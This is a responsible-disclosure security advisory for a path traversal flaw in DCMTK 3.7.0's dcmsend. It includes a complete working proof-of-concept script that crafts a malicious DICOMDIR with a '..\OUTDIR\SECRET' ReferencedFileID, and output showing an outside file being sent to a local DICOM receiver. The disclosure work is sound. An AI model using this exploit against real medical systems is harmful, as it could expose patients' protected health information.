Lucene search
+L

📄 DCMTK 3.7.0 Path Traversal

🗓️ 07 Aug 2026 00:00:00Reported by Matthias DeegType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 11 Views

High risk path traversal in DCMTK 3.7.0 dcmsend via DICOMDIR read may disclose health data.

Code
Advisory ID:               SYSS-2026-047
    Product:                   DCMTK (DICOM ToolKit)
    Manufacturer:              OFFIS e.V. / DCMTK Community
    Affected Version(s):       3.7.0
    Tested Version(s):         3.7.0
    Vulnerability Type:        Path traversal (CWE-22)
    Risk Level:                High
    Solution Status:           Fixed
    Manufacturer Notification: 2026-07-02
    Solution Date:             2026-07-03
    Public Disclosure:         2026-07-31
    CVE Reference:             Not yet assigned
    Author of Advisory:        Matthias Deeg, SySS GmbH
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Overview:
    
    DCMTK (DICOM ToolKit) is an open-source collection of libraries and
    applications implementing large parts of the DICOM (Digital Imaging
    and Communications in Medicine) standard (see [1]).
    
    DCMTK's dcmsend is vulnerable to path traversal when it is instructed to
    read input files from a specially crafted DICOMDIR. This can lead to
    unauthorized disclosure of readable DICOM objects, including protected
    health information.
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Vulnerability Details:
    
    The dcmsend command line option --read-from-dicomdir (+rd) enables
    DcmStorageSCU::ReadFromDICOMDIRMode. In this mode, a DICOMDIR input file
    is not sent itself. Instead, dcmsend reads the DICOMDIR and adds the
    referenced SOP instances to its transfer list.
    
    The affected implementation is DcmStorageSCU::addDicomFilesFromDICOMDIR()
    in dcmnet/libsrc/dstorscu.cc. The function searches the DICOMDIR dataset
    for ReferencedFileID (0004,1500) elements, converts DICOM backslashes to
    host path separators with dicomToHostFilename(), and then combines the
    result with the DICOMDIR directory:
    
      const OFFilename tmpFilename(dicomToHostFilename(fileID, tmpString),
                                   pathName.usesWideChars());
      OFStandard::combineDirAndFilename(pathName, dirName, tmpFilename,
                                        OFTrue /* allowEmptyDirName */);
    
    dicomToHostFilename() only replaces "\\" with the host path separator.
    It does not reject ".." components, absolute paths, or other traversal
    patterns. OFStandard::combineDirAndFilename() also does not canonicalize
    the result or verify that the final path remains below the DICOMDIR
    directory. Therefore, a ReferencedFileID such as "..\\OUTDIR\\SECRET"
    becomes a host path like "MEDIA/../OUTDIR/SECRET".
    
    The attack chain is as follows:
    
      1. The attacker crafts a DICOMDIR with an IMAGE directory record whose
         ReferencedFileID contains traversal components, for example
         "..\\OUTDIR\\SECRET".
    
      2. The same record contains ReferencedSOPClassUIDInFile,
         ReferencedSOPInstanceUIDInFile, and
         ReferencedTransferSyntaxUIDInFile values matching the targeted DICOM
         object.
    
      3. The victim runs dcmsend with --read-from-dicomdir (+rd) against the
         crafted DICOMDIR.
    
      4. dcmsend resolves the ReferencedFileID relative to the DICOMDIR
         location without rejecting the traversal.
    
      5. dcmsend opens and transmits the traversed DICOM file to the
         configured remote storage SCP.
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Proof of Concept (PoC):
    
    To demonstrate this security isssue, a PoC exploit was developed that
    sends a DICOM file outside the media directory to an attacker when an
    attacker-controlled DICOMDIR is used by dcmsend.
    
    The crafted DICOMDIR contains a path traversal attack vector in
    ReferencedFileID.
    
    cat > poc.sh << 'EOPOC'
    #!/bin/bash
    # Demonstrate DICOMDIR ReferencedFileID path traversal via dcmsend
    
    set -u
    
    WORKDIR="$(mktemp -d /tmp/dcmtk-dcmsend.XXXXXX)"
    MEDIA_DIR="${WORKDIR}/MEDIA"
    OUTSIDE_DIR="${WORKDIR}/OUTDIR"
    RECV_DIR="${WORKDIR}/recv"
    TARGET_DUMP="${WORKDIR}/target.dump"
    DICOMDIR="${MEDIA_DIR}/DICOMDIR"
    TARGET_FILE="${OUTSIDE_DIR}/SECRET"
    DCMSEND_LOG="${WORKDIR}/dcmsend.log"
    STORESCP_LOG="${WORKDIR}/storescp.log"
    
    cleanup()
    {
        if [ -n "${STORESCP_PID:-}" ]; then
            kill "${STORESCP_PID}" 2>/dev/null || true
            wait "${STORESCP_PID}" 2>/dev/null || true
        fi
        rm -rf "${WORKDIR}"
    }
    trap cleanup EXIT
    
    require_tool()
    {
        command -v "$1" >/dev/null 2>&1 || {
            echo "[!] Missing required tool: $1"
            exit 1
        }
    }
    
    require_tool dump2dcm
    require_tool dcmdump
    require_tool dcmsend
    require_tool storescp
    require_tool python3
    
    mkdir -p "${MEDIA_DIR}" "${OUTSIDE_DIR}" "${RECV_DIR}"
    
    cat > "${TARGET_DUMP}" <<'EOF'
    # Dicom-File-Format
    
    # Dicom-Meta-Information-Header
    # Used TransferSyntax: Little Endian Explicit
    (0002,0001) OB 00\01
    (0002,0002) UI =SecondaryCaptureImageStorage
    (0002,0003) UI [1.2.826.0.1.3680043.10.543.777.1]
    (0002,0010) UI =LittleEndianExplicit
    (0002,0012) UI [1.2.826.0.1.3680043.10.543.370]
    (0002,0013) SH [H7POC]
    
    # Dicom-Data-Set
    # Used TransferSyntax: Little Endian Explicit
    (0008,0005) CS [ISO_IR 100]
    (0008,0016) UI =SecondaryCaptureImageStorage
    (0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1]
    (0008,0020) DA [20260630]
    (0008,0030) TM [120000]
    (0008,0060) CS [OT]
    (0008,0064) CS [WSD]
    (0010,0010) PN [POC^TRAVERSED]
    (0010,0020) LO [H7DCMSEND]
    (0020,000d) UI [1.2.826.0.1.3680043.10.543.777.2]
    (0020,000e) UI [1.2.826.0.1.3680043.10.543.777.3]
    (0020,0010) SH [1]
    (0020,0011) IS [1]
    (0020,0013) IS [1]
    (0028,0002) US 1
    (0028,0004) CS [MONOCHROME2]
    (0028,0010) US 1
    (0028,0011) US 1
    (0028,0100) US 8
    (0028,0101) US 8
    (0028,0102) US 7
    (0028,0103) US 0
    (7fe0,0010) OB 00\00
    EOF
    
    dump2dcm "${TARGET_DUMP}" "${TARGET_FILE}" || exit 1
    
    python3 - "${DICOMDIR}" <<'PY'
    import struct
    import sys
    
    out = sys.argv[1]
    
    def even(value, pad=b" "):
        return value if len(value) % 2 == 0 else value + pad
    
    def elem(tag, vr, value):
        group, element = tag
        if isinstance(value, str):
            value = value.encode("ascii")
        if vr == "UI":
            value = even(value, b"\0")
        elif vr not in ("OB", "OD", "OF", "OL", "OW", "SQ", "UC", "UR", 
    "UT", "UN"):
            value = even(value, b" ")
        data = struct.pack("<HH", group, element) + vr.encode("ascii")
        if vr in ("OB", "OD", "OF", "OL", "OW", "SQ", "UC", "UR", "UT", "UN"):
            data += b"\0\0" + struct.pack("<I", len(value))
        else:
            data += struct.pack("<H", len(value))
        return data + value
    
    def item(content):
        return struct.pack("<HHI", 0xFFFE, 0xE000, len(content)) + content
    
    sop_class = "1.2.840.10008.5.1.4.1.1.7"
    sop_inst = "1.2.826.0.1.3680043.10.543.777.1"
    transfer_syntax = "1.2.840.10008.1.2.1"
    
    record = b"".join([
        elem((0x0004, 0x1400), "UL", struct.pack("<I", 0)),
        elem((0x0004, 0x1410), "US", struct.pack("<H", 0xFFFF)),
        elem((0x0004, 0x1420), "UL", struct.pack("<I", 0)),
        elem((0x0004, 0x1430), "CS", "IMAGE"),
        elem((0x0004, 0x1500), "CS", r"..\OUTDIR\SECRET"),
        elem((0x0004, 0x1510), "UI", sop_class),
        elem((0x0004, 0x1511), "UI", sop_inst),
        elem((0x0004, 0x1512), "UI", transfer_syntax),
    ])
    
    dataset = b"".join([
        elem((0x0004, 0x1130), "CS", "H7POC"),
        elem((0x0004, 0x1200), "UL", struct.pack("<I", 0)),
        elem((0x0004, 0x1202), "UL", struct.pack("<I", 0)),
        elem((0x0004, 0x1212), "US", struct.pack("<H", 0)),
        elem((0x0004, 0x1220), "SQ", item(record)),
    ])
    
    meta_body = b"".join([
        elem((0x0002, 0x0001), "OB", b"\0\1"),
        elem((0x0002, 0x0002), "UI", "1.2.840.10008.1.3.10"),
        elem((0x0002, 0x0003), "UI", "1.2.826.0.1.3680043.10.543.777.999"),
        elem((0x0002, 0x0010), "UI", transfer_syntax),
        elem((0x0002, 0x0012), "UI", "1.2.826.0.1.3680043.10.543.370"),
        elem((0x0002, 0x0013), "SH", "H7POC"),
    ])
    meta = elem((0x0002, 0x0000), "UL", struct.pack("<I", len(meta_body))) + 
    meta_body
    
    with open(out, "wb") as handle:
        handle.write(b"\0" * 128 + b"DICM" + meta + dataset)
    PY
    
    PORT="$(python3 - <<'PY'
    import socket
    s = socket.socket()
    s.bind(("127.0.0.1", 0))
    print(s.getsockname()[1])
    s.close()
    PY
    )"
    
    echo "[*] DICOMDIR is inside: ${MEDIA_DIR}"
    echo "[*] Referenced target is outside: ${TARGET_FILE}"
    echo "[*] DICOMDIR ReferencedFileID:"
    dcmdump +P 0004,1500 "${DICOMDIR}"
    
    (timeout 30 storescp --single-process -od "${RECV_DIR}" "${PORT}" 
    >"${STORESCP_LOG}" 2>&1) &
    STORESCP_PID=$!
    sleep 1
    
    set +e
    dcmsend -v +rd 127.0.0.1 "${PORT}" "${DICOMDIR}" >"${DCMSEND_LOG}" 2>&1
    RC=$?
    set -e
    sleep 1
    kill "${STORESCP_PID}" 2>/dev/null || true
    wait "${STORESCP_PID}" 2>/dev/null || true
    STORESCP_PID=""
    
    cat "${DCMSEND_LOG}"
    
    RECEIVED_FILE="$(find "${RECV_DIR}" -type f | head -n 1)"
    if [ "${RC}" -eq 0 ] &&
       [ -n "${RECEIVED_FILE}" ] &&
       dcmdump +P 0010,0010 "${RECEIVED_FILE}" | grep -q "POC\\^TRAVERSED"; 
    then
        echo "[+] SUCCESS: dcmsend followed '..\\\\OUTDIR\\\\SECRET' and 
    transmitted the outside file"
        dcmdump +P 0010,0010 +P 0010,0020 +P 0008,0018 "${RECEIVED_FILE}"
        exit 0
    fi
    
    echo "[!] FAILED: traversal transmission was not verified"
    echo "[!] Workdir retained for inspection: ${WORKDIR}"
    trap - EXIT
    exit 1
    EOPOC
    
    A successful attack is indicated by output similar to the following:
    
    ./poc.sh
    [*] DICOMDIR is inside: /tmp/dcmtk-dcmsend.PBsYZC/MEDIA
    [*] Referenced target is outside: /tmp/dcmtk-dcmsend.PBsYZC/OUTDIR/SECRET
    [*] DICOMDIR ReferencedFileID:
    (0004,1500) CS [..\OUTDIR\SECRET]                       #  16, 3 
    ReferencedFileID
    I: checking input files ...
    I: starting association #1
    I: initializing network ...
    I: negotiating network association ...
    I: Requesting Association
    I: Association Accepted (Max Send PDV: 16372)
    I: sending SOP instances ...
    I: Sending C-STORE Request (MsgID 1, SC)
    I: Received C-STORE Response (Success)
    I: Releasing Association
    I:
    I: Status Summary
    I: --------------
    I: Number of associations   : 1
    I: Number of pres. contexts : 1
    I: Number of SOP instances  : 1
    I: - sent to the peer       : 1
    I:   * with status SUCCESS  : 1
    [+] SUCCESS: dcmsend followed '..\\OUTDIR\\SECRET' and transmitted the 
    outside file
    (0010,0010) PN [POC^TRAVERSED]                          #  14, 1 PatientName
    (0010,0020) LO [H7DCMSEND]                              #  10, 1 PatientID
    (0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1]       #  32, 1 
    SOPInstanceUID
    
    This demonstrates that dcmsend reads a file outside the DICOMDIR
    directory and transmits it to the configured DICOM peer.
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Solution:
    
    This security issue was fixed with the commit
    225ff1e0e42efcac64a5275e8f06ade14ca509b5 (see [4]).
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Disclosure Timeline:
    
    2026-07-02: Vulnerability reported to manufacturer
    2026-07-02: Manufacturer acknowledges receipt of security advisories
    2026-07-03: Security fix published by manufacturer (see [4])
    2026-07-31: Public release of security advisory
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    References:
    
    [1] DCMTK project website
        https://dcmtk.org/en/
    [2] SySS Security Advisory SYSS-2026-047
     
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-047.txt
    [3] SySS GmbH, SySS Responsible Disclosure Policy
        https://www.syss.de/en/responsible-disclosure-policy
    [4] DCMTK security fix
     
    https://github.com/DCMTK/dcmtk/commit/225ff1e0e42efcac64a5275e8f06ade14ca509b5
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Credits:
    
    This security vulnerability was found by Matthias Deeg of SySS GmbH with
    the assistance of SySS AI.
    
    E-Mail: matthias.deeg (at) syss.de
    Public Key: 
    https://www.syss.de/fileadmin/dokumente/PGPKeys/Matthias_Deeg.asc
    Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Disclaimer:
    
    The information provided in this security advisory is provided "as is"
    and without warranty of any kind. Details of this security advisory may
    be updated in order to provide as accurate information as possible. The
    latest version of this security advisory is available on the SySS
    website.
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Copyright:
    
    Creative Commons - Attribution (by) - Version 4.0
    URL: https://creativecommons.org/licenses/by/4.0/deed.en

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation